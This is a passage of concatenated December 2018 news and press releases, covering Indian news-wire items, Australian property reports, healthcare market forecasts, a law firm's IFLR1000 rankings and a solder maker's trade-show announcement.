received even during the extended submission deadline for the EOI bids under Air India's divestment process and the "further course of action will be decided appropriately". Mumbai, Dec 20 : Actor Naseeruddin Shah, who is "angry" about the rise of mob violence, has said "poison" has spread in the Indian society where at some places, the death of a cow is given more significance than of a police officer, an indirect reference to the recent Bulandshahr violence where a police officer was killed allegedly by cow vigilantes. The actor, married to Ratna Pathak Shah, raised concerns about the safety of his children who, he said, do not follow any specific religion. His comments, which have provoked a debate, are a part of a video interview with Karwan-e-Mohabbat India. It was shared on its YouTube channel earlier this week. The Congress has endorsed Naseeruddin's views, and tweeted: "Naseeruddin Shah we concur, do not fear the hate, fight it." "The poison has spread. It will be very difficult to capture this djinn back into the bottle again. There is complete impunity for those who take law into their hands. In many areas we are witnessing that the death of a cow is given more significance than that of a police officer," said the veteran actor. The father of actors Vivaan Shah and Imaad Shah, Nasseruddin said he feels worried about his children. "I had received regional education as a child. Ratna is from a liberal household, so she had next to none. And we chose not to give any religious education to our children. Because I believe that being good or evil has nothing to do with religion. "We taught them what our beliefs are. I did make them learn a few verses from the Quran Sharif because I believe reciting them improves one's articulation, Just like one's Hindi articulation improves after reading the Ramayana and Mahabharata in its original (form)," he said. Elaborating on why he feels anxious about his children, Naseeruddin said: "Because tomorrow if a mob surrounds them, and asks, 'are you a Hindu or a Muslim?'... They will have no answer. It worries me because I don't see the situation improving anytime soon. "These matters don't scare me. They make me angry. And I want that every right-thinking person should feel angry, not scared. This is our home, who can dare to evict us from here?" he asked. New Delhi, Dec 20 : The Union Home Ministry has suspended Gujarat-cadre Indian Police Service (IPS) officer Rajnish Rai for his alleged role in "abdicating" his office on November 30 as the Inspector General and Principal of Central Reserve Police Force (CRPF) training school at Chittoor in Andhra Pradesh. The 52-year-old 1992-batch IPS officer, who had arrested D.G. Vanzara and two other IPS officers in the Sohrabuddin Sheikh alleged fake encounter case in 2007, was placed under suspension as per December 17 order passed by the Home Ministry under the provisions of the All India Services (Discipline and Appeal) Rules. He was serving as Inspector General and Principal of the Counter Insurgency and Anti-Terrorism (CIAT) School of the CRPF. Rai will have to stay at the CRPF headquarters at Chittoor during the period the order remains in force, and cannot leave the headquarters without the permission of the Director General CRPF, said the Ministry order. Rai had earlier this year sought voluntary retirement from November 30 after completing 50 years of age under the provisions of the All India Services (Death-Cum-Retirement Benefit) Rules, 1958, but the Centre rejected his request in October. He moved the Central Administrative Tribunal (CAT) in Ahmedabad challenging the rejection. The CAT will be hearing the matter on January 1. In August 2014, Rai was transferred out of Gujarat as Chief Vigilance Officer of Uranium Corporation of India Limited (UCIL) at Jaduguda in Jharkhand. In April 2015, he was transferred to the CRPF office at Shillong. After his report on suspected fake encounters in the North-East, he was transferred to the CIAT at Chittoor and a "departmental misconduct" charge sheet was served on him, Rai had alleged. He moved the CAT at Hyderabad against the chargesheet. The tribunal stayed the proceedings against him. Lucknow, Dec 20 : As part of its exercise towards improving the doing business environment across the states, the Department of Industrial Policy and Promotion (DIPP) under the Union Ministry of Commerce and Industry and the World Bank held a workshop on "Business Reform Action Plan-2019 (BRAP-2019) Implementation Guidelines and the Feedback Methodology" for north India region in the state capital on Thursday. In addition to the host Uttar Pradesh, officials concerned from Jammu & Kashmir, Punjab, Haryana, Uttarakhand and Himachal Pradesh participated in this day-long workshop, an official informed. There are 80 recommendations under the BRAP-2019. It was informed that ground level feedback of users would be the main criteria of ranking under BRAP-2019 and feedback would be taken on all the implemented reforms. The implementation deadline is February 28, 2019. Addressing the participants, Chief Secretary Anup Chandra Pandey said that the Uttar Pradesh government is making concerted efforts to ease the doing business environment in the state by continuously strengthening the single-window clearance portal - Nivesh Mitra. He said that in addition to 70 services of 20 departments, the government is in the process of integrating new industrial services to the online portal. "Additionally, we hold regular interactions with industrialists to resolve their issues in a time-bound manner," he added. Pandey said that tremendous response of investors to new measures and investment-friendly policies is a testimony to state government's successful efforts in this direction. World Bank representative Harsh Jhanjaria said improving the business climate is a dynamic and evolving process, adding that India has witnessed significant improvement in actual implementation of the World Bank recommendations during the last three years. He informed that 17 states implemented over 90 per cent reforms in the year 2017-18. It may be noted that from a ranking of 142 in the year 2014, India jumped to 77th position in the world ranking for ease of doing business, which is the highest jump by any country in a short period period of time. Now India ranks first amongst the South Asian countries. Highlighting the fact that Uttar Pradesh secured "Achiever State" category with 92.89 per cent score in the implementation of business reform points, Principal Secretary, Infrastructure & Industrial Development - Rajesh Kumar Singh said Udyog Bandhu has been taking the business reforms to ground level through training workshops at division level for awareness amongst government officials and entrepreneurs. Such workshops have been held in 14 divisions of the state so far. Bengaluru, Dec 20 : A pontiff and three others, including a woman admitted to have poisoned the food (prasad) resulting in the death of 15 people at a village temple in Karnataka on December 14, said police on Thursday. "The 52-year-old pontiff (Immadi Mahadeva Swami) and three trustees, who manage the Maramma temple at Sulvadi village in Hanur taluk of Chamarajanagar district, admitted to mixing the food (vegetable rice) with an insecticide before it was served to devotees," district Superintendent of Police D.S. Meena told IANS. District Court Magistrate K Shrikanth at Kollegal near the village remanded the four accused in 4-day police custody on Wednesday for interrogation after police arrested them under various sections of the Indian Penal Code (IPC) at Hanur on Tuesday. The other three accused are trustees Madesha (46), his wife Ambika (35) and Doddaiah Thambadi. "If convicted, the accused face death sentence or life imprisonment as it is one of the rarest cases in which the custodians of a temple have deliberately mixed poison in a sacred offering to the deity (Hindu goddess Maramma), which led to the death of 15 innocent devotees," hinted Meena. The victims included 9 men and 6 women. While 8 of them died on the same day (December 14), the remaining 7 succumbed to the poisonous food since then till Wednesday. "Of the 90 devotees who were admitted to state-run and private hospitals, 49 are still under treatment, while 41 were discharged till Thursday," said Meena. Preliminary investigation into the heinous crime revealed that the pontiff allegedly wanted to take revenge against the rival trustees who took over the temple management following a dispute on building a turret over the sanctum sanitorium. "To discredit and humiliate his rival trustee (Shivacharya), the swami plotted the crime with the connivance of the other three accused, as they both were involved in controlling the temple that draws thousands of devotees and gets offerings in cash worth lakhs of rupees," added Meena. The Rampura police have sealed the temple's kitchen and the store room for investigation but allowed the priests and devotees to enter the sanctum where the deity is placed. Jerusalem, Dec 21 : Israeli Prime Minister Benjamin Netanyahu has said he held a phone call with US President Donald Trump over Iranian military's presence in Syria. The call came a day after Trump announced the US decision to withdraw forces from the war-torn country as the Islamic State (IS) militant group had been defeated. According to a statement released by Israeli Prime Minister's office on Thursday, the two leaders discussed "ways to continue the cooperation... against the Iranian aggression". Earlier in the day, Netanyahu vowed to "act very aggressively against Iran's attempts to establish itself in Syria," saying Israel has the backing of the White House in its actions against the Islamic republic, Xinhua news agency reported. The US withdrawal announcement was seen in Israel as an embarrassment to Netanyahu's foreign policy established on his close ties with Trump. Yair Lapid, leader of the opposition Yesh Atid party and Israeli former finance minister, described the US "surrender" as "a failure of Netanyahu's foreign policy". "It clears the way for Iran's expansion and narrows Israel's ability to bargain with the Russians," he tweeted. Ehud Barak, Israel's former Prime Minister, said the move exposed Netanyahu's dependence on his ties with US and Russian leaders. "Trump is deserting Syria and the Iranians are celebrating," Barak tweeted. Israel and Syria share a disputed border in the Golan Heights, which Israel seized in the 1967 Middle East War and annexed in a move not recognized internationally. The Israeli military has carried out dozens of airstrikes in recent years against Iranian and Syrian army positions in Syria, as well as convoys of weapons for Hezbollah, a Lebanese Shiite militia. The lowest median house values in Australia this year were in Zeehan on the West Coast of Tasmania, according to CoreLogic's end of year report. The town's median came in at $71,184. Three of the top four localities with the lowest median house values were in the West Coast council region of Tasmania with third lowest being Queenstown ($74,961) and fourth lowest being Rosebery ($75,858). They had higher values than in Peterborough, SA which had the second lowest median at $71,880. Zeehan also had the ninth highest Gross rental yield nationally at 12.5%. An example of the median house value in this region of Tasmania being at this level is 3 Emma Street, Zeehan (pictured above). This two bedroom, one bathroom house sold for $67,000 earlier this year. The property features four parking spots. The number one spot for low median unit values is Newman in the East Pilbara council region, according to the CoreLogic end of year report. Around 24 units were sold in the region at a median price of $96,274 during the past year. South Hedland ($99,878) and Port Hedland ($127,892) were placed second and third in terms of lowest median unit values across Australia. These regions sold 65 and 55 units respectively. An example of the price point being present in WA was 6/15 Mindarra Drive, Newman (pictured above). The one bedroom one bathroom unit was sold in November this year for $109,000. Last sold for 575,000 in 2013 this shows a $456,000 decrease in price over the past 5 years. Located close to the Newman CBD, School and Shire Pool the property is also near Newman hospital. The unit was most recently listed for rent in 2017 at $225 per week down $450 from $750 per week in 2014. Another example of this price point is a block of 12 units 11 of which have sold this year at 6 Arika Place, Newman. They sold for prices ranging from $65,000 to $122,500. 11/6 Arika Place (pictured above) was listed as a rental on December 18 for $230 per week. As auctions volumes across the country shrink, hopefuls still remain in almost every state for the upcoming Saturday December 22nd auctions. The eleventh hour auction offerings number in the dozens, rather than thousands that go on a typical Saturday. Among the listing in the ACT is 5/149 Kelleway Avenue, Nicholls (pictured above). This three bedroom two bathroom townhouse comes without a price guide. Set on 146 sqm this home is located at the back of a Gold Creek complex and features a two car lockup garage. In Queensland there is 38 Lance Street, Sherwood (pictured above) set for auction this Saturday. This holding is a vacant allotment set on 405 sqm. The lot is situated within walking distance of local schools, public transport links, and amenities. One Saturday auction hopeful in Victoria this week is 4 Korab Place, Roxburgh Park (pictured above). Set on a 580 sqm block the house has an indicative price guide of $540,000 to $580,000. The four bedroom two bathroom house has a crescent driveway with room for 7 vehicles. Carlingford is host to the NSW auction of 60/14-16 Freeman Place (pictured above). The three bedroom two bathroom apartment is accompanied by an indicative price guide of $745,000 to $795,000. Featuring a tandem lockup garage the unit is located near public transport links and other amenities. A home in South Australia set for auction this weekend is 43 Trumara Road, Marino (pictured above). Set on 1,123 sqm the home features views of the coast and Trumara. The three bedroom one bathroom home is located within 30 minutes of the city. The final state with a Saturday auction is Western Australia, with 5/240 Burke Drive, Attadale (pictured above) set to go under the hammer. Set on 137 sqm the waterfront unit is located on an A class reserve. The three bedroom two bathroom unit hasn't been offered to the market since the late 80's. A beachside Yamba home in coastal northern New South Wales is on the market for the first time in almost 40 years. The four bedroom, three bathroom residence located at 1 Church Street is a family-sized beach house. Atherstone is described by Ray White Yamba agent Daniel Kelly as a classic Queenslander style residence. Mr Kelly said, relevant sales in the area suggest the value of the property "should sit somewhere above $1 million. Yamba is roughly 3 hours to the Brisbane CBD, 2 hours to the Gold Coast, and 8 hours from Sydney or a 1 hour flight. Aetherstone is situated within a short walk of beaches, cafes, restaurants and the famous Pacific Hotel. Mr Kelly said "the owners have given very clear instructions to sell now." The home goes to auction January 27. Tom Williams has left Channel 7 where he was the co-host of The Daily Edition and joined project marketing company Boutique Estates International. His first job for Boutique Estates, where his sister in law Vanessa Gilbert is a director, is to help market Inspire Broadwater, the new Labrador tower on the Gold Coast (above and below). The 12 level, 79 apartment building which is slated for completed in mid-2020, is set to replace landmark restaurant Cavs Steakhouse along with a retail and commercial area. Williams said 34 apartments had sold or were on hold to prospective buyers. Weve been called in to reach deeper into the Gold Coast market and also to try to get some of that Sydney market that is looking to invest on the Gold Coast, Williams told the Gold Coast Bulletin. I try to come up once a fortnight to meet with the sales team here in the display suite. Were really reaching out this holiday season we know things get very quiet in the major cities but the team will be right behind holiday makers on the Coast. Williams was a long-time presenter for the Seven Sport team, having made his break in media when he phoned into a radio show hosted by comic duo Merrick & Rosso in 2000. They gave him a regular segment on the show. A year later he became the host of The Great Outdoors. He lives in Sydney with his wife, fashion designer Rachel Gilbert, and their two young daughters. North Sydney will be transformed with a $476 million contract awarded to deliver a new Sydney Metro railway station and the landmark building above it. Minister for Transport and Infrastructure Andrew Constance said its another way metro is transforming Sydney. The new Victoria Cross metro station will be a landmark in the heart of North Sydney, giving customers more and easier public transport options as part of our plan to improve transport, Constance said. The NSW Government has awarded Lendlease the contract to deliver the station component of the new Victoria Cross Station in North Sydney, which will include new retail spaces and improvements to the public domain. As part of a value capture agreement on Sydney Metro, the NSW Government will receive more than $200 million from Lendlease for the right to develop a 40-storey commercial building above the stations southern entrance portal, and for the retail spaces delivered as part of the station. This is the second integrated station development on the Sydney Metro City & Southwest project. The new integrated station development will help shape North Sydneys future, adding to the vibrancy of the area, Constance said. New employment and retail opportunities, improved pedestrian connections and high quality outdoor spaces will add to a growing commercial and residential precinct. As the new Victoria Cross Station is largely built underground, the integrated station development can be built at the same time, minimising disruption to the community. Work is already underway on the new Victoria Cross Station, with roadheader tunnelling machines working to excavate the new metro station cavern under Miller Street. Kalorama Information, along with our colleagues at BioInformatics Inc., IMV Research and Strategic Directions International (SDi) have made several predictions for 2019 in a variety of healthcare areas. The four trusted market research brands are now under the same ownership and part of the Science and Medicine Group. Their catalog of over 100 publications is here: https://bioinfoinc.com/market-intelligence-catalog/ According to company market analysts, watch for these 12 trends to unfold in 2019: 1. The Cannabis Testing Equipment Market Grows. As the cannabis industry emerges from the black market to the grey market to the open market, it faces forces of standardization and regulation. Among other effects, this has stimulated the development of analytical testing methods for cannabis, and these new applications and methods are available not only in areas where the market is open, but also in geographies where the industry remains clandestine. A variety of instruments and techniques, such as Gas Chromatography, HPLC, Supercritical Fluid Chromatography, Thin-layer Liquid Chromatography, GC/MS, LC/MS, ICP-OES, ICP-MS, X-Ray Diffraction Spectroscopy, and qPCR, are all employed for a variety of testing uses including potency testing, heavy metal testing, and safety testing. And although many cannabis suppliers prepare samples before sending them to be tested, there also exists a small but quickly growing market for sample preparation. More information in Strategic Directions International's report: https://strategic-directions.com/product/cannabis-testing-market-data/ 2. Tests Will Still Need to "Prove to Play" in 2019. Yes your new 2019 diagnostic test product will be effective, logical and popular with providers and patients, but abstract cost-reduction isn't enough. Kalorama Information notes that even the most logically useful tests such as tests that avoid high-cost treatments on patients will still need to address scientific proof to survive in 2019. "While it would seem that companion and precision would be 'money well spent,' in reality there is a major breakdown of the system in too many cases." said Melissa Elder, pharmaceutical and IVD analyst for Kalorama Information. "The decision for payor approval for diagnostic testing comes from strong, even overwhelming, scientific evidence that the testing will have a direct impact on outcomes and in many cases this is difficult to show meaningful benefits." The question asked will be: if the test is performed prior to initiating treatment, is there a significant improvement in clinical response and outcomes over those that do not have pre-treatment diagnostics? For a catalog of Kalorama Information and other brands, see here: https://bioinfoinc.com/market-intelligence-catalog/ 3. The Sales Rep Will Still Be Key to Instrument Sales. Sales representatives are perceived by some customers to be obsolete with the online availability of product information, but that perception is not the whole story, according to research by BioInformatics, Inc. When queried deeper, customers still need their resourcefulness and their product knowledge. as they push through purchases in their own organizations. A majority rated "resourcefulness" their #1 or #2 category in a sales rep. That's according to BioInformaticss new market research on life science reps: https://bioinfoinc.com/product/2018-life-science-sales-rep-report/ based on a survey of almost 1,000 life scientists from around the world at both academic and pharma/biotech accounts. The report found that what customers expect is that sales reps will be experts in the one thing they are not your companys products. 4. Hungary, Romania and Eastern Europe Shine in 2019. Clinical diagnostics and analytical instrument companies both are seeking emerging markets for growth. Eastern Europe is gaining attention as a reachable market with promise. Hungary has become interesting for the sale of analytical devices as it is increasing healthcare R&D spend. According to Instrument Business Outlook, noted here: https://instrumentbusinessoutlook.com/hungarys-rd-spending-shows-significant-gains/ R&D spending is rising on a global basis. In 2016, estimated spending for the 34 countries that make up the OCED grew 2.3% to $1,266 billion at current prices and purchase price parity (PPP). At well above this growth rate, Hungary made tremendous gains in R&D spending in 2017, according to figures released by the Central Statistical Office. Hungarys 2017 R&D spending grew 21.1% to HUF 517.258 million ($1,811 million US). Between 2016 to 2017, the countrys R&D as a percentage of GDP rose from 1.20% to an estimated 1.35%. Meanwhile, there is growth in practice too: Kalorama Information noted in its recent IVD study that Hungary continues to expand its private health market which currently represents about 38% of spending. Hungary's health spending represents about 7.5% of GDP, or $21 billion annually. Of particular note is histology spending which Kalorama estimates will grow 8% each year in the next five years, as Hungary addresses lung and breast cancer patient populations. Romania is another growth country for clinical diagnostics, with growth rates of 10% in histology testing and nearly 5% in overall IVD spending. Both countries are dealing with higher than regional and European rates of breast and lung cancer. Romania which continues to develop its action plan for diabetes and bring prevalence rates down from the current 12.4%. 5. Liquid Biopsy - Imaging Pair Ups in 2019: Liquid Biopsy will see gains in acceptance, but there are challenges. This recent article in Nature sums up some of them: https://www.nature.com/articles/s41576-018-0071-5. Difficulty with collecting enough relevant sample from patients, error correction, and magnitude of interpretation. Still their usefulness in some cancers has been shown, and there is much development devoted to the non-invasive concept to make clinical routine closer to reality. One point of entry: Kalorama Information thinks that in 2019, an interesting usage for CTCs and ctDNA-based testing will be in assisting other tests. For instance imaging studies, liquid biopsy has been shown to reduce false negatives when used in conjunction with some imaging tests. A 2018 study published in Translational Oncology demonstrated that a combination of liquid biopsy and radiological imaging enabled visualization of the occurrence of clonal redistribution after discontinuation of anti-EGFR mAb therapy, as well as emerging RAS mutations during therapy with anti-EGFR mAb indicating resistance. 6. If You Want to Sell a Laboratorian in 2019, You'll Have to Network. Laboratorians generally have a closer, in-person social network that they rely on for recommendations, advice or information about products and services. That's according to IMVI Research's "2019 Trends in Marketing to Clinical Diagnostic Labs Report", available here: https://imvinfo.com/product/marketing-to-clinical-diagnostic-labs-report. The report cites credibility factors and buying habits among laboratorians, what influences them, what sites they use and how best to approach laboratorians. 7. Revenue Decreases at Labs, Lab Consolidation and Pushback on Vendors. The impact of PAMA and resulting Medicare Part B cuts on testing is being felt. 2019 will bring more pressure on spending and consolidation for lab customers. And that means downstream impact on IVD vendors. A survey from IMV Research indicated that most labs have seen decreases. 55% of a panel of 110 labs indicated they had revenue decreases, from single digits to double-digits as a result of Medicare Part B cuts, and that over 60% will "review agreements with vendors for instruments and reagents." View the webinar here: https://www.youtube.com/watch?v=4-r3ZxCtLLU. 8. 2019 Sales of Drug Discovery Instruments, Reagents, and Other Technologies Will Be Brisk. The total demand for technologies used in drug discovery reached approximately $4.9 billion in 2017, said Mike Tice, Senior Vice President of Business Intelligence at Strategic Directions International (SDi). We project the market will grow at a healthy annual rate of 6.4% over the next five years, driven by increasing demand for novel drugs as the global population ages. This is according to new Drug Discovery Market Data Insights from the firm: https://strategic-directions.com/product/drug-discovery-market-data-insights/ 9. Clinical Sequencing Advances in Popularity and Gains More Support. Sequencing Scored some wins in 2018: An October 2018 study of participants a recent Clinical Sequencing Exploratory Research (CSER) Consortium program found that reporting incidental sequencing results generally did not cause undue distress or other adverse impacts on patients. It also found that reporting these results lead to only modest costs for medical follow-up, at least within the first year. Other good news comes from the BabySeq project, where a population of newborns were tested has revealed the possible utility of broad sequencing of populations. One anecdote that has gained traction is of the baby who was discovered to have a BRCA2 mutation, meaning they would be at high risk for developing breast or ovarian cancer as an adult. The knowledge of that mutation was not actionable for the baby at that moment, which raised the question of whether it should be reported? As a consequence, the mother got tested and discovered she, too, has the BRCA2 mutation. If the mother now has a better chance of avoiding or surviving cancer, it benefits the whole family. One of the fastest growing areas of clinical sequencing has been in cancer diagnostics, which has only intensified since the CMS decision in March 2018 to offer national coverage for NGS testing in advanced cancer patients. Research presented by at the American Society of Human Genetics meeting in October 2018 suggested that clinical sequencing could also be helpful for pediatric cancer patients. Although the researchers didnt examine survival outcomes, they reported that in a sample of 253 pediatric cancer patients who had whole genome or exome sequencing at St. Jude Childrens Research Hospital, 79 percent had at least one finding that could help guide care. 10. Direct to Consumer Testing. Gates are Open, Flood to Follow? Patients can now access diagnostic testing without their doctor. Quest Laboratories has launched QuestDirect, an enhanced consumer-initiated testing service that empowers patients to manage and take control of their healthcare by ordering health and wellness lab testing from the convenience of their home. Walgreens and LabCorp announced a large-scale expansion of their LabCorp at Walgreens collaboration. The two companies have agreed to open at least 600 LabCorp patient service centers at Walgreens stores across the U.S. over the next four years, inclusive of the 17 locations that have opened since they first announced their consumer-focused initiative in June 2017. LabCorp at Walgreens locations are currently open in Florida, Colorado, North Carolina and Deerfield, Illinois, serving as an important part of LabCorps network of nearly 2,000 patient service centers across the U.S. This is in addition to 23andMe.com's offering of DNA testing for select BRCA variants without a doctor's order. "2019 is the first full year the gate is open for the customer to test themselves, will demand follow," said Bruce Carlson, Publisher of Kalorama Information. "We think they will, but some prodding, advertising, apps, social media will be needed." 11. HPLC Market Nears Six Billion in 2019. According to a recent, Strategic Directions International (SDi) study, the overall High Performance Liquid Chromatography market was estimated to reach almost $5.2 billion in 2017. It is projected to grow by 4.6% over the next five years. What's driving growth, with a large installed based, the aftermarket segment contributed almost half of the total market revenue. Most HPLC systems with mature market will have a larger aftermarket than initial system market in HPLC will make up a large share of those revenues, as the nature of HPLC analysis requires a frequent re-stocking of consumables such as columns and chemicals. More data is available here: https://strategic-directions.com/product/hplc-2018-market-analysis-perspectives/. 12. AI Will Be Seen as a Team Player, Not a Job Replacer. Artificial Intelligence was novel in the past few years, in 2019, the abstract concept fades and real products/software will be the focus. Talk of replacing doctors (or other workers) should, Kalorama Information thinks, by at least the end of 2019 be less of the discussion surrounding artificial intelligence. Instead, more attention will be on the positive supporting role that AI can play as the systems think about myriad datapoints that a human cannot always process. AI as a supporting tool, a team player. The demand is there: The Institute of Medicine at the National Academies of Science, Engineering and Medicine reports that diagnostic errors contribute to approximately 10 percent of patient deaths, and also account for 6 to 17 percent of hospital complications. The systems are proving out: Babylon Health claims its system performed 10% better than the average GP entrant examinee for induction into the Royal College of General Practitioners. And there's apps: Prevencio Inc recently announced that its HART PAD test diagnoses peripheral artery disease in diabetes mellitus patients at high positive predictive value and negative sensitivity levels, in a Mass General Hospital study. These are just a few of the recent developments. Kalorama Information, along with our colleagues at BioInformatics Inc., IMV Research and Strategic Directions International are now under the same ownership and part of the Science and Medicine Group. Their catalog of over 100 publications is here: https://bioinfoinc.com/market-intelligence-catalog/ Media Contact: Bruce Carlson 212-807-2262 bruce.carlson@kaloramainformation.com More than 70 attorneys at global law firm Greenberg Traurig, LLP have been included in International Finance Law Reviews IFLR1000 Financial and Corporate 2019 rankings. Represented are nine key areas of legal practice across 10 countries. According to its website, IFLR1000 is the guide to the worlds leading financial and corporate law firms and lawyers. The guides firm rankings are based on three key criteria, transactional evidence, peer feedback, and client feedback. In addition to firm rankings, the guide also recognizes outstanding individuals in the categories of expert consultant, market leader, highly regarded, and rising star. The guide also recognizes as notable practitioners lawyers who have advised on one or more deals featured in IFLR1000 Deal Data. The guide recognized Greenberg Traurig by practice area in the following jurisdictions: Israel: M&A Japan: Capital Markets: Equity Foreign Mexico: Banking Capital Markets M&A Project Development Project Finance Netherlands: M&A Poland: Banking Capital Markets: Debt Capital Markets: Equity M&A Project Development: Power Project Finance United Kingdom: Bank lending: Borrower side Capital Markets: Equity M&A Real Estate Funds United States: Banking Capital Markets: Debt Capital Markets: Equity M&A (Southern California; Florida; Georgia; Illinois; Nevada) The Greenberg Traurig lawyers listed below were recognized in the 2019 IFLR1000 guide. They are listed by jurisdiction and based on the publications rating and/or practice area designations as selected by researchers: Germany: Henrik Armah | Notable Practitioner | M&A Kati Beckmann | Notable Practitioner | Banking and Finance; M&A Franca Biallas | Notable Practitioner | M&A Eleonore H. Chowdry | Notable Practitioner | Private Equity Claudia Hard | Notable Practitioner | Banking Josef Hofschroer | Notable Practitioner | M&A Nicolai Lagoni | Notable Practitioner | M&A Philipp Osteroth | Notable Practitioner | Private Equity; M&A Julian Rindler | Notable Practitioner | Financial and Corporate; Real Estate Finance Christian Schede | Notable Practitioner | Private Equity; M&A Peter Schorling | Notable Practitioner | M&A David Schwintowski | Notable Practitioner | Private Equity; M&A Johannes Sobanski | Notable Practitioner | Private Equity; M&A Israel: Robert L. Grossman | Notable Practitioner | M&A Lawrence Sternthal | Notable Practitioner | Real Estate Acquisitions Japan: Koji Ishikawa | Notable Practitioner | Capital Markets: Debt; Capital Markets: Equity; M&A Mexico: Juan Manuel Gonzalez Bernal | Highly Regarded | Capital Markets; Banking; Project Finance Miguel Moises | Highly Regarded | Banking; M&A Jose Raz Guzman | Highly Regarded | Capital Markets: Structured Finance and Securitisation; Private Equity; M&A Netherlands: Eva Herde | Notable Practitioner | M&A Martijn Hermus | Highly Regarded | M&A Thedoor Melchers | Highly Regarded | Financial Restructuring; Private Equity; M&A Poland: Rafa Baranowski | Highly Regard | Private Equity; M&A Radomi Charzynski | Notable Practitioner | Real Estate Finance; Real Estate Acquisitions Lejb Fogelman | Market Leader | Private Equity; M&A Jarosaw Grzesiak | Market Leader | Restructuring and Insolvency; Energy and Infrastructure; Banking; Project Finance; Capital Markets: Debt; Capital Markets: Equity; Capital Markets: Derivatives; M&A Aleksander Janiszewski | Highly Regarded | Banking; Capital Markets: Debt Agata Jurek-Zbrojska | Notable Practitioner | Real Estate Finance; Real Estate Acquisitions Daniel Kaczorowski | Notable Practitioner | Capital Markets: Debt; Capital Markets: Equity; M&A Ireneusz Matusielanski | Highly Regarded | Capital Markets: Debt; M&A Jolanta Nowakowska-Zimoch | Notable Practitioner | Real Estate Finance; Real Estate Acquisitions ukasz Pawlak | Highly Regarded | Banking; Capital Markets: Debt; M&A Pawe Piotrowski | Highly Regarded | Capital Markets: Equity; Private Equity; M&A Rafa Sienski | Highly Regarded | Banking; Capital Markets: Debt Agnieszka Stankiewicz | Rising Star | Banking; Real Estate Finance Andrzej Wysokinski | Highly Regarded | Restructuring and Insolvency; Banking; Project Finance; M&A Magdalena Zyczkowska-Jozwiak | Notable Practitioner | Real Estate Acquisitions South Korea: Chang Joo Kim | Notable Practitioner | Banking and Finance; M&A Iksoo Kim | Notable Practitioner | Capital Markets; M&A United Kingdom: Fiona Adams | Highly Regarded | M&A Gary Bellingham | Notable Practitioner | Banking Andrew Caunt | Highly Regarded | Capital Markets: Equity Steven Cowins | Rising Star | Investment Funds; M&A Michael P. Goldberg | Notable Practitioner | M&A Steven J. Horvath III | Highly Regarded | M&A Christopher Ives | Notable Practitioner | M&A Paul Maher | Highly Regarded | M&A Emma L. Menzies | Highly Regarded | Banking James Mountain | Highly Regarded | Capital Markets: Equity Henrietta Walker | Notable Practitioner | M&A United States: Ejim Peter Achi | Rising Star State (New York) | M&A Lee A. Albanese | Notable Practitioner (New Jersey) | Capital Markets: Debt; Capital Markets; Equity Drew M. Altman | Rising Star State (Florida) | Capital Markets Alan I. Annex | Highly Regarded State (New York) | Capital Markets: Debt; Capital Markets: Equity; M&A Donn A. Beloff | Notable Practitioner (Florida) | Capital Markets: Equity; Private Equity; M&A Timothy W. Bratcher | Highly Regarded State (Georgia) | Banking Lorne S. Cantor | Highly Regard State (Florida) | M&A Jaret L. Davis | Highly Regarded State (Florida) | M&A Cindy J.K. Davis | Highly Regarded State (Georgia) | Banking Wayne H. Elowe | Highly Regarded State (Georgia) | M&A Gregory A. Fishman | Notable Practitioner (California) | Real Estate Acquisitions Alison M. Gathright | Notable Practitioner (California) | Private Equity; M&A Kenneth A. Gerasimovich | Notable Practitioner (New York) | Energy; Healthcare; Media; Pharmaceuticals and Life Sciences; Technology and Telecommunications; Real Estate; Construction and Materials J. Gregory Milmoe | Highly Regarded | Restructuring and Insolvency Robert L. Grossman | Notable Practitioner (Florida) | M&A Stephen J. Horvath III | Highly Regarded | M&A Richard C. Kim | Rising Star State (New York) | Banking Charles J. Kolin | Notable Practitioner | Banking; Project Finance David J. LaSota | Notable Practitioner | Project Development; Banking; Project Finance Gavin M. Loughlin | Notable Practitioner | Banking; M&A Kara L. MacCullough | Notable Practitioner | Capital Markets: Debt; Capital Markets: Equity; M&A Steve Mastbaum | Notable Practitioner | M&A Scott Meza | Highly-Regarded State (Virginia) | M&A Brett E. Moskowitz | Rising Star State (Georgia) | Banking Flora R. Perez | Rising Star State (Florida) | Capital Markets: Debt; Capital Markets: Equity Brian L. Petrequin | Notable Practitioner | Banking and Finance; M&A Michael D. Robson | Notable Practitioner | Banking; M&A Joshua M. Samek | Notable Practitioner | Private Equity; M&A Lorraine M. Tyson | Notable Practitioner | Banking; Capital Markets: Debt About Greenberg Traurig, LLP: Greenberg Traurig, LLP (GT) has more than 2,000 attorneys in 38 offices in the United States, Latin America, Europe, Asia, and the Middle East. GT has been recognized for its philanthropic giving, was named the largest firm in the U.S. by Law360 in 2017, and is among the Top 20 on the 2018 Am Law Global 100. Web: http://www.gtlaw.com Twitter: @GT_Law. AIM Solder, a leading global manufacturer of solder assembly materials for the electronics industry, is pleased to announce their upcoming attendance at IPC APEX EXPO 2019 taking place January 29-31, 2019 at the San Diego Convention Center in San Diego, California. AIM will highlight their revolutionary REL61 and REL22 lead-free solder alloys, along with their full line of solder assembly materials. REL61 is ideally suited for industries which require a cost effective alternative to SAC305 with no loss of processing performance or durability. REL61 provides significant advantages over other no/low silver alloys by offering better flow characteristics at lower temperatures, thus reducing PCB damage and assembly costs. Additionally, when combined with AIMs award winning M8 solder paste, REL61 can lower peak reflow temperature and thermal exposure as well as improve aesthetics and solder joint performance. REL22 has been developed to address reliability and production quality issues common to similar multi-element alloys. Both internal and customer testing has proven that REL22 improves product survival in extreme thermal exposure operating environments such as under-hood automotive, avionics/aerospace and LED lighting. The physical characteristics of REL22 make it ideal for applications where thermal shock, vibration and g-forces as high 22,000g are experienced. Along with their REL products, AIM will also showcase its full line of advanced solder materials, including solder paste, liquid flux and solder alloys. Visit AIM at IPC APEX EXPO 2019 in Booth # 3225 at the San Diego Convention Center, San Diego, CA for more information and to speak with one of AIMs knowledgeable staff members. About AIM Headquartered in Montreal, Canada, AIM Solder is a leading global manufacturer of assembly materials for the electronics industry with manufacturing, distribution and support facilities located throughout the world. AIM produces advanced solder products such as solder paste, liquid flux, cored wire, bar solder, epoxies, lead-free and halogen-free solder products, and specialty alloys such as indium and gold for a broad range of industries. A recipient of many prestigious SMT industry awards, AIM is strongly committed to innovative research and development of product and process improvement as well as providing customers with superior technical support, service and training. For more information about AIM, visit http://www.aimsolder.com. Upcoming Events: February 21, 2019 SMTA Rocky Mountain West Club at Mile High Stadium, Denver, CO March 19, 2019 SMTA Dallas Plano Event Center, Plano, TX March 20-22, 2019 Productronica China Pudong, Shanghai When Walgreens joined forces with online beauty retailer Birchbox in October to build a revolutionary in-store and online retail experience, the 